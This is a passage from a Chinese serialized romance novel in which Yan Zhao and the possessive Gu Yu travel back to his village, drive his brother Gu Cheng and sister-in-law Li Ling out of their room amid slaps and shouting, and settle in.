言昭站起身的时候，这妇人比她还矮了半个头。 那妇人像是被她的动作刺激到了，立刻往后一缩，嗓门拔高：“你这是想打我啊？” 言昭低头看着她，语气很冷：“我跟你熟吗？你腰不好，我脑袋也不好。我男人特地多花钱给我买的下铺，你没男人给你买吗？” 那妇人听完，狠狠啐了一口：“呸，不害臊！” 言昭看着她，神色一点没变，反倒慢慢笑了一下：“不害臊的是你吧？跟谁都不熟，就张口叫大妹子。我可没你这么老的姐。” 那妇人被噎得说不出话来，脸色一阵青一阵白，周围几道目光看过来，到底没再纠缠，骂骂咧咧地转身走了。 言昭这才坐回下铺，胸口还在轻微起伏。 她抬头时，正好撞上顾煜的视线。 他好像是刚来，那双眼睛却像是被什么慢慢浸湿了一样，暗沉、安静，又带着一点说不清的东西。 言昭这么凶也是有原因的。 这一路下来，在顾煜那里碰的壁太多了。 她明明什么都没做，又好像什么都被看穿了。 那种憋在心口的闷气没地方去，刚好被人撞上，就一下子炸了出来。 还有一点，下铺比上铺贵。 那是真金白银换来的。 自己怎么可能舍得给一个陌生人一句“腰不好”就让出去。 再说了。 言昭瞧着这妇人中气十足，嗓门比广播还响，怎么看都不像身体不舒服的样子。 现在被顾煜这么看着，她那股方才撑着她的底气像是突然被抽走。 她低头看着自己的手指，指尖无意识地绞着衣角，脑子里乱糟糟的—— 顾煜会不会觉得她凶？ 会不会觉得她脾气不好？ 这种念头来得又快又没出息，她自己都觉得有点狼狈。 顾煜已经走过来了。 他的影子落在她身侧，靠得很近，近到她能闻到他身上那股熟悉的味道。 然后他微微俯身，贴近她耳侧，声音压得很低，几乎是贴着她的耳廓吐出来的。 “我喜欢你刚才那个样子。” 这句话来得太突然。 言昭整个人僵了一下，脸颊的热意几乎是瞬间涌上来，从耳根一路烧到脖子。 她下意识想往旁边挪一点，又觉得那样害羞更明显，只能生生停住。 不远处那个妇人没打算就这么算了。 妇人原本还想找机会找茬，看看她男人到底是什么货色。 哪知道妇人看过去，就看到这个小伙子个子很高，站在那儿的时候，自然而然就压过周围一截。 脸长得太好看，一张脸干净的很可偏偏那双眼睛不太对劲—— 很凶，很狠的感觉。 目光扫过来时，妇人后背就发凉。 妇人被那眼神扫到，下意识地闭了嘴，最终只是哼了一声，转过头去，没再往这边凑。 这个小隔间里除了他们，还坐着一个看起来十六七岁的小姑娘。 她一直安静地待在对面的上铺，刚才那阵吵闹也只是偷偷看着，没有插话。 这会儿顾煜提着暖水瓶回来，把热水放好，又顺手把言昭这边的床铺理了理。被子抖开，边角压平。 小姑娘趴在床沿，脑袋往下探了探，目光在顾煜身上停了好一会儿，终于忍不住开口，声音压得很轻，带着明显的羡慕：“姐姐，你对象对你真好，长得也好看。” 言昭一下子愣住了，然后耳根瞬间热了起来，下意识看了顾煜一眼。 顾煜没有丝毫反应。 他对别人一向这样。 …… 回去的这三天三夜，比言昭想象中要好过一些。 没有再啃干巴巴的玉米，顾煜带了不少吃的，包子、饼子，还有能顶饿的小点心。 只是现在天还是有点冷的，吃到嘴里的东西总是半热不冷。 顾煜隔一会儿就起身去接热开水，水瓶拧开时冒出的白汽，在狭小的空间里一散就没了。 言昭捧着包子，小口小口地吃着，感叹了一句：“要是有个炉子就好了，下面加点火，这包子一会儿就热了。” 顾煜接水的动作停了一瞬，把她这句话在脑子里过了一遍。 回到座位后，他把水放好，坐下时神色看不出变化，只是垂着眼，安静地思考着什么。 过了片刻，他点头说：“这东西不难做。” 言昭一愣，下意识抬头看他：“什么？” 顾煜看着她，没有解释，只是把水杯推到她面前，示意她先喝点热的。 三天三夜一晃而过，言昭整个人像是被抽走了一半力气。 哪怕一路都在躺着，火车的颠簸还是让人骨头发酸。 等下车的时候，她脚踩在站台上，发现腿都有点发软。 言昭觉得现在自己有点矫情了，当时去京市她可是坐着三天三夜，都没觉得累。 现在两人到省城时，天已经彻底黑了。 街道两侧的路灯一盏盏亮起，昏黄的光映在地面上，拖出长长的影子。 顾煜拎着袋子，带着她去找招待所。 结果到了前台才发现，夫妻一起住竟然需要出示结婚证明。 结婚证当然没在言昭身上，还在老家压箱底。 前台的人抬头看了两人一眼，语气很平静：“那只能一人开一间了。” 言昭站在旁边，愣了一下，下意识去看顾煜。 她原本还以为他会说点什么，或者干脆换一家试试。 顾煜只是点了点头，像是早就预料到这个结果。 “开吧。”他说。 于是两间房，一前一后登记。 言昭站在自己那扇门前，手里捏着钥匙，忽然有点不适应。 一路同吃同坐，忽然要分开，她心里空了一下，可又说不清是什么感觉。 顾煜站在她对面，看了她一眼，语气依旧平稳：“早点洗漱，休息一晚，明天就到了。” 言昭点点头，低声应了一句：“好。” 她进了房间，看着屋里那张窄床，站了一会儿，还是叹了口气。 一路折腾下来，她实在没什么精力多想，随便洗漱了一下，就倒在床上，很快睡着了。 她不知道的是，隔壁的房门一直没有关。 顾煜离开了自己的房间，站在她门口。 走廊灯光昏暗，他靠着墙，一动不动，像是在数时间，又像只是单纯地站着。 那一夜，他几乎没怎么回房。 第二天一早，言昭开门出来，看到顾煜站在外面，明显愣了一下。 她第一反应是自己起晚了，脸色一紧，赶紧走过去：“是不是我睡过头了？” 顾煜看了她一眼，没有回答，只是转身往外走。 “没有，先吃早饭。” 两人去吃了一顿饺子。 热气腾腾的白雾在碗沿翻滚，言昭这才觉得胃里慢慢暖起来。 顾煜吃得很快，然后一直注意着她，把醋瓶往她那边推了推，又替她添了点热水。 吃完饭，又是赶路。 车子一晃一晃地往前走，言昭靠着窗，看着外头的景色一点点变得陌生，又一点点变得熟悉。 最先变的，是路。 平整的地面不知什么时候没了，车轮压过坑坑洼洼的土路，扬起一层灰。 路边的房子低矮破旧，墙皮斑驳，窗台上晒着旧被子和发黄的衣服。 从省城到县里，再到现在镇子，这里的人衣服大多都是洗得发白，袖口和膝盖上打着补丁，鞋上全是泥。 地面也不平整，一脚踩下去，鞋底立刻沾满湿泥。 言昭站在车站边，有那么一瞬间，竟然有点恍惚。 京市的地面永远干净，风一吹都带着冷味。 街上的人衣服整齐，说话很小声，连走路都是需要往右边走。 而这里，一切都粗糙、杂乱，又真实得让人无法忽视。 她低头看了眼自己身上穿的衣服。 那是顾煜给她买的，料子挺括，颜色干净，在这片灰扑扑的环境里显得格外扎眼。 不少目光不加掩饰地落在她身上，带着好奇，也带着打量。 可那些视线，很快又移开了。 因为顾煜站在她旁边。 他的存在感太强了。 不管是在京市，还是在这座小镇，那张脸都很难不被注意到。 干净、俊美，和周围的一切格格不入，像是被硬生生放错了地方。 车一停稳，言昭几乎是下意识地站起身，去熟悉的地方看看有没有熟人。 没想到，真的遇见了队里的人。 对方先是愣住，看清是她之后，眼睛一下子睁大了。 “言昭？你回来了啊？” 目光再往后移，落在顾煜身上，那点惊讶立刻翻了倍。 队里人张了张嘴，好半天才挤出一句话来：“这……这是顾煜？” 这声一落，周围立刻安静了一瞬。 顾煜已经很久没回来了。 以前在队里，大家本就避着他走，后来他考上大学，人直接去了外头，更是像从这个地方消失了一样。 久而久之，提起这个名字，都带着点模糊和距离。 如今人突然站在眼前，一时间竟让人有点不敢认。 不只是因为时间久了。 更因为顾煜现在的样子，和记忆里完全对不上。 他穿得干净利落，衣服剪裁合身，颜色也沉稳，一看就不是镇上能见到的款式。 整个人站在那里，肩背笔直，神色冷淡，和这片泥土地格格不入。 那种差距，不是换身衣服就能抹掉的，是从骨子里透出来的。 第27章 你也不嫌臊得慌！ 而这个人之所以能一眼喊出顾煜的名字，其实也是因为他站在言昭身边。 要是单独看顾煜，隔了这么多年，又换了模样，未必有人敢认。 现在队里早就传开了。 说言昭跑去京市了，是去找顾煜。 当初她走的时候没闹出什么动静，可后面零零碎碎的消息却一直没断过，有人说她投奔男人去了，也有人说她运气好，攀上了大学生。 言昭没多说什么，直接从兜里掏出一块钱，拉着顾煜上了牛车。 其实坐一趟两毛就行，只不过现在她没零头。 周围的人看言昭一块钱掏得这么干脆，眼睛都不眨一下。 有人低声咂了下嘴。 去京市一趟，就是不一样了。 也有人目光在言昭身上转了一圈，又落到顾煜脸上，心里各自盘算着。 牛车晃晃悠悠，从镇子往队里走。 一路上，坐在旁边的人都忍不住往言昭这边凑，问题一个接一个，像是攒了很久似的。 “京市到底咋样啊？” “是不是到处都是楼？” “有钱人是很多？” 这些人里，最多也就来过镇上，省城都没去过，更别说京市了。 言昭被问得有点好笑，也不端着，语气很随意地说京市其实跟省城差不多，大家都是两个眼睛一张嘴巴，也要吃饭睡觉，就是穿得比咱们好点，看着体面些。 有人听了不太信，目光却已经落在她身上那身衣服上，忍不住问：“那你身上这身，也是京市买的？” 言昭被这么一问，脸颊微微热了一下，下意识侧头看了顾煜一眼，才小声说：“嗯……顾煜给我买的。” 这话一出，牛车上顿时热闹起来。 有人啧了一声，有人笑着打趣：“哎哟，那你可真是好命。” “现在的男人不一样了，会念书，会赚钱，还知道给媳妇买衣裳。” 这些话落在耳朵里，半是羡慕，半是感慨。 等到牛车刚进队里，声音一下子就杂了起来。 有人看到言昭身边的顾煜，在知道是顾煜，而且看到两人穿的新衣服后。 他们压着嗓子说话，偏偏让人听得清清楚楚—— 捡来的童养媳，男人倒是出息了，成了京市的大学生，这命怎么就这么好。 话里全是酸味，羡慕里掺着嫉妒，落在耳朵里刺得慌。 而言昭一路应付着问话，嘴巴都快说干了。 等牛车一停，她还没来得及缓口气，顾煜已经牵住了她的手，带着她往前走。 身后又是一阵“哟哟”的起哄声，言昭脸热得不行，头低得几乎要埋进胸口，只能被他牵着往家走。 到了顾家门口，院子里那半边烧过的屋子一下子映进眼里。 言昭之前在京市跟顾煜说过这件事。 现在烧掉的地方只简单搭了个棚子，歪歪扭扭的，勉强遮雨。 顾城不在。 反倒是李玲蹲在水盆前洗衣服，听见动静一抬头，看清是言昭，脸色瞬间变了。 她几乎是扑过来的，表情狰狞，手抬起来就要往言昭脸上扇，嘴里尖声骂着：“你这贱人还知道回来！钱是不是你偷走的！” 李玲的巴掌还没落下，就被人从侧面死死攥住了手腕。 力道很大，几乎是要把李玲骨头弄碎。 李玲这才看清站在言昭身边的人。 还没来得及出声，腹部已经挨了重重一脚。 那一脚踹得极狠。 李玲整个人直接摔回院子里，后背撞在水盆旁，水哗啦一声洒了一地，她闷哼着蜷起身子，半天没缓过气来。 她是真的没看到顾煜。 这段时间，家里没钱，顾城不在，什么都落在她一个人头上。 烧掉的屋子没人修，粮票不够用，队里人的眼神一天比一天难看。 李玲憋着火，咬着牙撑着，连哭都不敢哭。 而言昭偏偏在这个时候跑了，还把家里所有的钱都偷走了。 所以刚才李玲看到言昭的那一瞬间，所有压着的东西一下子全炸了。 而李玲是真的早就忘了顾煜长什么样。 小时候他就不合群，队里的孩子成群结队地跑，他一个人缩在角落里，不说话，也不出来玩。 后来读书去了县里，再后来考上大学，人直接没影了。 队里人提起他，也就是一句“命煞孤星”“克死了一家子”，“唯一的大学生”，谁还记得脸。 所以她刚才第一眼，只盯着言昭。 现在被踹倒在地，抬头看清那张脸，脑子里一片空白，下意识就把所有恶毒的话全甩了出来。 “好啊你，言昭，你个不要脸的东西！” 李玲撑着地坐起来，嗓子尖利得发抖，“怪不得敢跑，原来是外头勾了野男人！怪不得家里的钱没了，全让你偷去贴补野汉子了是吧？” 她越说越顺，像是终于找到了一个能发泄的出口。 “我说你怎么这么狠心，顾家把你捡回来养大，你倒好，翅膀硬了就翻脸不认人！” “你也不嫌臊得慌！这么多人看着呢，你要脸不要脸！” 李玲一边骂，一边用手拍着地，眼睛也死死盯着言昭，像是要从她脸上撕下一块肉来。 骂声又急又狠，字字句句都往最难听的地方戳，完全不去看站在言昭前面的顾煜。 院子外头已经有人探头探脑。 风吹过来，带着泥土味，骂声显得格外刺耳。 有个婶子原本是听见动静凑过来的，站在院门口看了半天，这会儿才迟疑着开口。 她眯着眼，把顾煜从头到脚看了一遍，又往他脸上多瞧了两眼，忽然一拍大腿：“哎？什么野男人？这不是顾煜吗？” 这一句落下来，旁边又有个年纪大的老人凑近了些，仔细端详了一会儿，慢慢点头：“是他，是顾家的小子。” “眉眼没变，就是长开了。” “我说怎么看着眼熟呢……” 议论声一下子起来了。 有人低声说他不是去京市念大学了吗，有人说怪不得穿得这么体面。 李玲的骂声戛然而止。 她脸上的狰狞还没来得及收回去，整个人却僵在原地，像是没听懂这几句话。 “顾……顾煜？”她声音发干，下意识反驳，“不可能，他在京市……” 顾煜挡在言昭前面，身形笔直，目光冷冷扫过李玲，那眼神不高不低，却让人心里发凉。 “我回来了。” 就在院子里的气氛僵到发紧的时候，顾城回来了，他肩上还搭着件旧外套，鞋底沾着泥。 他一进院子，先是被这满院子的人弄得一愣，下意识皱起眉头，像是不明白家里怎么突然这么热闹。 可他的目光很快就越过人群，落在了言昭身上。 那一瞬间，他脸色猛地沉了下来。 怒火几乎是立刻涌上来的。 那三千块。 他存了那么久、盘算了那么久的钱，全没了。 这段日子压在心里的憋屈和怨气，在看见言昭的这一刻，几乎要冲破喉咙。 可下一秒，他的视线顿住了。 站在言昭前面的那个男人，身形挺直，侧脸冷淡，正静静看着他。 顾城的喉咙像是被什么卡住了一样。 他认出来了。 哪怕已经很多年没见，哪怕对方变了样子、变了气质—— 那还是顾煜。 那个从小就让他心里发怵的弟弟。 顾城脸上的怒意一下子没收住，可又不敢继续往前。 言昭也看到了顾城。 那张脸几乎让她下意识皱起眉。 他脸上冒出一片又一片的痘印，有的红肿鼓起，有的已经结了痂，肤色发灰。 整个人看起来憔悴又邋遢，和她记忆里那个自以为体面、总爱端着架子的顾城完全不一样。 言昭只扫了一眼，胃里就猛地翻了一下，喉咙发紧，她连着吞咽了好几下口水，才勉强把那股反胃压下去，甚至下意识往顾煜那边靠了半步。 她自己都没意识到，这点生理反应落在顾煜眼里，却完全变了意思。 在顾城出现的那一刻，顾煜目光就一直在言昭身上。 他看到她第一时间注意到顾城，看到了她那一瞬的僵硬、吞咽、呼吸变乱。 顾煜的眼神慢慢沉了下去。 那是一种被压得极深的阴冷，像潮湿的影子贴着地面蔓延，没有怒意外露，却透着黏腻的占有欲与警惕。 这么久不见。 她一看到他的大哥，就这么激动？ 这么在意？ 顾煜的下颌线绷得很紧，手指无声地收拢，指节泛白。 这边顾城深吸了好几口气，像是强行把胸腔里的情绪压下去，才挤出一个看起来还算体面的笑，走上前来。 “你们回来了啊。”他语气刻意放得热络，又带着点夸张的惊讶，“怎么也不提前说一声？我好去镇子接你们，多好。” 这话一出，院子里不少人都看了过来。 言昭站在顾煜身边，没躲，也没退，反而抬起头，语气很平：“是啊，我们回来了。” 她说着，视线一转，直接落到李玲身上，又很快回到顾城脸上，“不过一回来就被骂，说我带野男人回来，还说我把家里的钱拿走了。” 院子里一下子静了几分。 言昭继续往下说，语气不快不慢，却一句比一句清楚：“我想问问到底是怎么回事。顾煜是我男人，这个你比谁都清楚吧？而且那笔钱，不是顾煜寄给我的吗？ 我只是带去京市还给顾煜而已，什么时候成了偷家里的钱？” 顾城脸上的笑僵了一下。 他显然没料到言昭会当着这么多人的面，直接把话摊开说，连半点余地都不给。 李玲在旁边张嘴就要骂，被顾城下意识抬手挡了一下。 顾城脸上的笑明显绷不住了。 那点刻意维持的温和，在被当众打断后，裂开了一道细缝。 他喉咙动了动，像是还想把场面往回圆，语气放软了几分：“这事儿也不急，先进去吧，喝口热水再说……外头这么多人，看着也不好。” 话音刚落，言昭就开口了，直接把他的话截住：“不解释清楚，我跟顾煜不敢进。我怕一进门，又听见什么难听的话。到时候说不清，那就好了。” 顾城愣了一下。 他是真没想到，言昭会当着这么多人的面，直接顶回来。 以前的言昭，不会跟他顶嘴。 更不会在外人面前拆他的台。 她总是低着头，说话声音很轻，像是怕惊着他一样。 他脸色一沉，她就先慌了，急着解释，急着道歉，急着说“不是那个意思”“你别生气”“我下次不敢了”。 哪怕明明不是她的错，她也会先把错揽过去，只求他别发火。 现在就因为去了一趟京市？ 顾城心里掠过这个念头的时候，目光也跟着落在言昭身上。 她身上穿的衣服，不是队里女人常穿的那种洗得发白、改来改去的旧样式。 布料挺括，颜色干净，剪裁利落，站在这满是泥土和补丁的院子里，显得格外突兀。 那种“城里”的气息，压根遮不住。 顾城心里莫名有点不舒服。 不是羡慕，是一种被对比出来的刺眼。 他的视线又慢慢往上移，落到她脸上。 还是那张脸，可像是被光重新照过一遍。 眉眼线条干净柔和，皮肤白净透亮，站在院子里，衬得整个人清爽又显眼。 那双眼睛尤其好看，不再低垂，也不再躲闪，抬起来时安静清澈，像是有光落在里面，让人下意识多看一眼。 她站在那里，身形纤细挺直，神色平稳，从容得不像从前那个总是缩在角落里的样子，反倒透出一种说不出的耐看与漂亮。 顾城心口猛地一跳。 以前……怎么没觉得她这么好看？ 顾城喉咙像是被什么堵住，半天才挤出一句：“你这话说的……我什么时候会说这种话？” 顾城转而看向顾煜，露出一副刻意放低姿态的亲切模样，语气也跟着软下来：“老弟，回来就好，站在外面做什么？走，先进屋吧。” 顾煜也没有动。 他站在言昭身侧，目光平静地落在院子里那扇熟悉的门上，语气淡得听不出情绪：“昭昭说的你没回答，而且你住进了我跟昭昭的房间。” 这句话一落，顾城脸上的笑意当场僵住。 “这……这不是家里起火了吗？”顾城勉强扯了扯嘴角，语速不自觉快了几分，“那间屋子还能住，其他地方都烧得不成样子了，实在没办法——” “搬出来。” 顾煜直接打断他。 顾城一愣，下意识反问：“什么？” “我说，搬出来。”顾煜重复了一遍，连语气都没变。 顾城这下是真急了。 现在已经不是前阵子最热的时候，早晚都起了凉意，棚子挡风挡雨都勉强，更别说住人。 他哪里还有地方能去？ “你这不是为难我吗？”他声音里已经带了点不耐，“现在这天，我们能搬去哪？再说了，家里地方这么大，挤一挤不就行了？” 顾煜看着他，眼神平淡漠然。 “不搬？” 第28章 那你还喜欢顾城吗？ 顾城脸上的表情一点点绷不住了。 他是真的动了火。 这房子是爹娘当年给兄弟俩盖的没错，可顾煜这么多年都不在家。 先是读书，后来去了京市，一年到头影子都见不着。 时间久了，顾城早就下意识把这地方当成了自己的家。 可偏偏—— 偏偏是这个人回来了。 顾城心里那点被压了多年的东西一下子翻了上来。 害怕、怨恨，还有说不出口的厌恶。 从小就是这样。 这个弟弟，看着就瘆人。 小时候他不是没动过念头。 嫌他晦气，嫌他阴沉，嫌他一声不吭地盯着人看。 有一次真的把人带去了深山，乱坟岗那一片，想着扔了就算了。 结果呢？ 人没丢。 过了两天，顾煜自己回来了，浑身是泥，一句话不说，站在门口看着他，还把自己打了一顿。 打的那一次，顾城到现在都记得。 后来爹娘接连去世。 顾城嘴上不说，心里一直认定是被顾煜克死的。 因为这个弟弟，自己也从小在队里就被人指指点点。 有人当面不说，背后却议论，说顾家这小的邪性，大的命也不好。 这些话，顾城一句都忘不了。 所以哪怕后来顾煜考上大学走了，顾城松了一口气的同时，又暗暗觉得—— 这家，终于是他的了。 可现在。 这个“本该不回来的人”，站在他面前，用一句一句冷到极点的话，把他往外赶。 顾城的胸口剧烈起伏了一下。 他看着顾煜，眼神里第一次不再全是伪装出来的亲切，而是压不住的怒意和恐惧交织在一起。 言昭这时候也察觉到不对劲了。 顾城的脸色变得极其难看，那张原本就布满痘疮的脸此刻扭曲得厉害，五官因极大的情绪硬生生拧在一起，眼睛里翻滚着压不住的怒火。 他站在原地，双拳捏得死紧，指节发白，牙关咬得咯咯作响，整个人像是下一秒就要失控。 那股恶意太直白了，几乎是迎面扑过来的。 言昭心里猛地一跳，身体比脑子反应还快，直接往前一步，站到了顾煜身前。 她背脊挺直，直面顾城：“你这是想干什么？还想动手打顾煜不成？” 这句话一出口，不少人都下意识看向顾城的手。 言昭没有退。 她继续说下去：“这房子本来就是顾煜的。要不是你跟李玲在屋里搞那些事，能把房子烧成这样吗？现在你自己的房子被烧了，就想占顾煜的房子？” 顾城是真没想到，言昭会当着这么多人的面，把那件事直接掀出来。 他脸上的血色一下子褪得干干净净，像是被人当众扒了层皮，连遮掩的机会都没有。 那件事本来就是他心里的一根刺。 房子起火之后，队里风声闹得最凶的那段时间，他几乎不敢出门，背后指指点点的声音一波接一波，说什么的都有。 后来时间久了，大家嘴上不提了，他才勉强能在队里走动，可这并不代表事情真的过去了，只是没人再当面戳他。 现在被言昭这么一说，那些没说出口的目光全都回来了。 有人下意识看过来，有人却忍不住多看了顾城和李玲几眼，眼神里的意味不言而喻。 而且围绕过来的人越来越多。 李玲的脸色更是难看。 她站在一旁，整个人像是被抽空了力气，嘴唇发白，指尖发抖。 这件事对她来说，比对顾城还要致命。 自从那次起火之后，她在队里几乎成了笑柄。 洗衣服、打水、上工，总能听见些若有若无的笑声，明明没人指名道姓，可她就是知道，那些话是冲着她来的。 更让她受不了的是娘家那边的态度。 她爸妈因为自己做了什么丢尽脸面的事，恨不得当没这个女儿。 看见她，脸色比队里人还冷，话不多说一句，连个好脸都不肯给，自然连门都不让进。 此刻听见言昭把话挑明，李玲只觉得那些被压下去的羞耻、怨恨和委屈，一下子全翻了出来。 她猛地往前一扑，整个人像是被什么刺激疯了一样，伸手就朝言昭脸上抓过去，声音尖厉又失控：“都怪你！都怪你这个贱人！你以为我不知道？你不也喜欢顾城吗？天天惦记我的男人！装什么清白！” 话音落下的同时，她人已经冲到近前。 指甲几乎是照着言昭的脸去的。 言昭在顾煜还没来得及再动一下之前，她已经伸手，一把扣住了李玲的手腕。 李玲还没反应过来，脸侧已经结结实实挨了一巴掌。 “啪”的一声，在院子里格外清脆。 李玲整个人都懵了一瞬，随即像是被点燃了，尖叫着就要再扑上来。 言昭没有退，她反手又是一巴掌甩过去，动作干脆利落，连犹豫都没有。 这一下，打得李玲彻底炸了。 可她还没骂出第二句，言昭已经冷冷开口，声音压得极低，却一句比一句重：“你再胡说八道一句，我就不是打你两巴掌这么简单。” 言昭松开她的手，转身就往屋里走。 “你们不搬，”她站在门口丢下一句话，“我亲自动手。” 顾煜原本站在那儿，胸口像是被什么钝器一点点压着。 她喜欢顾城的事，他一直都知道，知道得清清楚楚。只是没想到，连旁人也都知道。 这认知像一根细刺，扎在呼吸之间，让他连胸腔起伏都变得不顺。 可就在言昭动手的那一瞬间，那点钝痛忽然变了味。 不是被抚平，也不是被遮过去，而是被另一种更猛烈、更直接的情绪覆盖。 他的目光牢牢落在她身上。 眼底那点阴郁并未散去，反而像被点燃了，暗得更深，却亮得惊人，带着一种近乎失控的专注。 这是他第一次见到这样的言昭。 有点凶，锋利得不留余地。 顾煜的喉结轻轻滚了一下。 心跳在加快，这一次不是因为愤怒，也不是因为紧张。 是兴奋。 一种他不愿承认，可又无法否认的病态喜欢。 他发现自己，竟然很喜欢这样的昭昭。 这念头像潮水一样涌上来，拍得他指尖发紧，连呼吸都乱了一瞬。 自己好像，病得更重了。 言昭抬脚走进屋里，屋内光线昏暗，空气里还残留着一股潮湿的烟味。 顾城那两个儿子正蹲在屋里，一看见她，立刻就叫了起来。 “我好饿！” “你快给我弄吃的！” “你还知道回来啊？竟然还敢跑走！” 声音又尖又冲，带着一股学来的蛮横。 这种话，孩子自己是说不出来的，但是听大人说的多了，自然就学会了。 言昭没多说一句废话，走过去，抬手就是一巴掌。 紧接着，她一手一个，直接把人往门外一推。 孩子被推得踉跄，坐在地上，当场就哭了出来，嗓子扯得发哑。 “你还想不想做我妈妈！” 那声音带着哭腔，又带着威胁。 言昭站在门口，看着他们，脸色冷得厉害。 她一字一句地说：“我不是你们的妈，以后也不是。” 屋子里很快就乱成了一团。 言昭像是终于找到了出口，把憋了这么久的情绪一股脑儿全倒了出来。 她弯腰抓起柜子里的东西，直接往外扔。 衣服、被褥、碗盆，一样样砸在地上。 有些明显是她以前的东西，现在被李玲用了个干净，她看见了，心口一阵发紧，手上的力道反而更重，直接摔在地上，又狠狠踩了几脚。 瓷碗碎裂的声音在屋里格外清脆。 顾城站不住了。 他慢慢滑坐到地上，背靠着墙，整个人像是被抽空了一样，脸色发灰，一句话都说不出来。 李玲不一样。 那些被扔出来的东西里，有不少是她自己的。 她一看见，立刻尖叫起来，扑过去想拦：“你疯了？这是我的东西！” 言昭看都没看她一眼，又把一件摔在地上。 顾煜这时候也走了进来。 他一句话没说，像是默认了言昭的所有动作，顺手把剩下的东西一件件往外清。 等到屋子里终于安静下来，原本拥挤的房间变得空旷得吓人。 除了几样大件，几乎什么都没剩。 言昭这才停下。 她站在屋子中央，胸口起伏得厉害，刚才那股撑着她的气势一下子散了。 不是心软，也不是后悔。 是一种发泄之后的空。 她转头看向顾煜。 顾煜站在她不远处，看着她，没有说话。 言昭看着顾煜，喉咙发紧，还是把那句话说了出来。 “我现在……没地方去了。”她停了一下，“能在你身边待着吗？” 顾煜歪了一下脑袋，像是在认真衡量这句话。 然后，他笑了。 是那种很松散的，唇角微微扬起，眼睛也跟着亮起来的那种。 言昭这才发现，他最近好像很爱笑，而且每次笑起来，都好看得让人移不开眼。 她胸口那点还没散干净的难受，被这个笑容一下子抚平了。 像是被什么轻轻按住，慢慢安静下来。 言昭没忍住，往前走了一步。 她站到顾煜面前，一只手轻轻抓住了他的衣角。 布料被她攥得起了点褶皱，她仰起头看着他，眼睛里带着一点小心翼翼。 “可以吗？” 顾煜低头看着她，目光在她抓着自己衣角的手上停了一瞬。 然后他问了一句：“你没有退路了，是吗？” 这句话落下来，言昭心里猛地一沉。 她慢慢低下头。 是的。 她现在是真的没有退路了。 闹成这样，把话说到这个份上，把人得罪干净，把路踩断。 她回不了头了。 现在顾煜是不是觉得自己不够好？ 是不是刚刚太凶了？ 是不是在他眼里，自己现在这个样子，很难看？ 言昭攥着他衣角的手紧了紧，又慢慢松开了一点。 顾煜忽然抬手，动作又快又准，直接扣住了她的后颈。 不是搂，也不是安抚，而是掐住。 力道不至于让人疼到挣扎，但足够让人一下子僵住。 指腹压在她颈后那一小块最敏感、最脆弱的地方，像是早就知道这里一旦被控制，人就会本能地安静下来。 言昭呼吸一滞。 她能清楚感觉到他掌心的温度，贴着皮肤渗进来，带着一种黏稠又阴冷的存在感。 顾煜低下头，凑得很近。 近到她能闻到他身上那股熟悉的味道，也能看清他眼底的变化。 那双眼睛很暗。 不是愤怒，也不是失控，而是一种被长期压抑的情绪在翻滚。 他的拇指在她后颈轻轻一压，几乎是试探。 “那你还喜欢顾城吗？” 声音压得极低，贴着喉咙出来，像是只要她说错一个字，那点力道就会立刻变质。 言昭被他掐着，没躲，也没退。 她喉咙发紧，还是摇了摇头。 “不喜欢。”她声音有点哑，但是很清楚，“我不喜欢顾城。” 那句话落下的瞬间，顾煜眼里的暗色明显一沉。 不是放松，而是收紧。 他掐着她后颈的手没有松开，反而又加重了一点力道。 指节收拢，掌心贴合，带着一种近乎占有的确定。 他没有再问。 也没有再说话。 只是这样掐着她，目光一寸不移地落在她脸上，像是在反复确认—— 她说出口的这句话，是不是真的。 最后顾煜低声说：“好，那你就待在我身边吧。” 这句话落下的时候，他的手终于松开了她的后颈。 言昭随即跟着笑了。 那笑很轻，像是终于卸下什么似的，她抬头看着他说：“……谢谢你。” 这两个字来得太直接。 顾煜几乎是被这个笑正面击中。 他胸腔里的那颗心，本就因为刚才的触碰跳得有些失序，这一刻又骤然加快了一拍，连带着呼吸都乱了节奏。 他下意识偏开视线，喉结轻轻滚动了一下。 呼出的气息明显重了几分，又被他生生压了回去。 自从言昭来到他身边之后，这种失控的感觉就反复出现。 不是情绪上的失控，而是身体先一步越过理智，做出了反应。 言昭本来还有点害羞，她跟着注意到顾煜的呼吸明显乱了，脸色也不太对，像是在强行压着什么。 她心里一紧，顾不上别的，下意识伸手贴在他胸口。 隔着衣料，她几乎是立刻就感受到了那一下下急促而有力的跳动，快得不像平时的节奏，像是要直接撞出来一样。 言昭被这动静吓了一跳，指尖一颤，本能地想把手收回来。 可还没等她退开，顾煜的手已经覆了上来，将她的手稳稳按在自己胸前。 言昭就感觉到自己掌下的心跳，正隔着薄薄的衣服，一下一下撞在她的掌心。 第29章 人人羡慕极了 言昭被他那样看着，有点局促起来，她小声解释了一句：“我……我就是怕你心脏是不是又难受了。” 顾煜意识到有些东西正在悄悄越过原本该有的界限。 她对他的明显依赖，还有自己对她的占有。 只不过现在不是继续往前的时机。 顾煜压下胸腔里那股还没平复的躁动，指尖慢慢松开。 他移开视线，语气刻意放得平稳：“不难受。” 言昭几乎是立刻就把手收了回去，动作快得有点慌乱，指尖贴回自己身侧。 “那就好。”她应了一声，声音里带着明显的松口气，“不难受就好。” 原本就不大的屋子，现在只剩下一张床架，连被子都没了。 那床被子早被言昭拖出去扔了，顾城和李玲睡过的东西，她一眼都不想再看。 现在屋里，真的什么都没有了。 她下意识看向顾煜。 可还没等那点窘迫浮到脸上，顾煜已经转身走了出去。 一句话都没留。 人影很快消失在门外。 言昭原本也想跟出去，可脚步刚动，又生生停住了。 她太清楚了，只要自己一出去，顾城一定会拦住她质问。 言昭最后还是退回了屋里。 在空荡荡的房间中央坐下，坐在那块冰凉的木板上，背靠着墙，双手抱着膝盖。 顾煜这边确实没走远。 他出了顾家院子，径直去了大队长家，找到正在屋里翻账本的大队长。 大队长一看见他，眉头就先皱了起来。 最近顾家的事闹得队里脸上都不好看，事情一桩接一桩。 大队长本来是不想再掺和的。 顾煜没多说废话，直接从口袋里掏出十块钱，放在桌上。 “队里谁家有干净的被子，只要没用过的，而且不要太薄。” 大队长看了那十块钱一眼，又看了看顾煜。 十块钱，在队里不是小数目，买一床被子绰绰有余。 他沉默了几秒，原本要出口的推辞还是咽了回去，叹了口气：“行吧，队里一时半会儿也没人愿意卖，我回家看看……” 没多久，大队长就抱着一床被子出来了。 等顾煜抱着被子回来时，院子里的人还没散干净。 顾城原本靠在门框上，心里还打着别的算盘—— 两人什么都没有，总得跟自己低头，总得回过头来求他一声。 结果顾煜就这么回来了。 怀里抱着一床新的，被子叠得整整齐齐，干干净净。 